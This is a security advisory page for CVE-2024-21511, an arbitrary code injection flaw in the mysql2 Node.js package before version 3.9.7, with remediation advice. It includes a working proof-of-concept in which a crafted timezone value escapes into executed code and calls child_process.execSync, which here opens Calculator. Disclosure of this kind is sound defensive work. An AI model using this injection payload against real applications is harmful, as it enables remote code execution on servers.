Arbitrary Code Injection Affecting mysql2 package, versions <3.9.7
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MYSQL2-6670046
- published 22 Apr 2024
- disclosed 21 Apr 2024
- credit zhaoyudi (Nebulalab)
Introduced: 21 Apr 2024
CVE-2024-21511 Open this link in a new tabHow to fix?
Upgrade mysql2 to version 3.9.7 or higher.
Overview
mysql2 is a mostly API compatible with mysqljs and supports majority of features.
Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper sanitization of the timezone parameter in the readCodeFor function by calling a native MySQL Server date/time function.
PoC
const mysql = require('mysql2');
const connection = mysql.createConnection({
host: '127.0.0.1',
user: 'root',
database: 'test',
password: '123456',
});
let query_data = {
sql: `SELECT CURDATE();`,
timezone:
"');''.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app');console.log('",
};
connection.query(query_data, (err, results) => {
if (err) throw err;
console.log(results);
});
connection.end();
References
CVSS Scores
version 3.1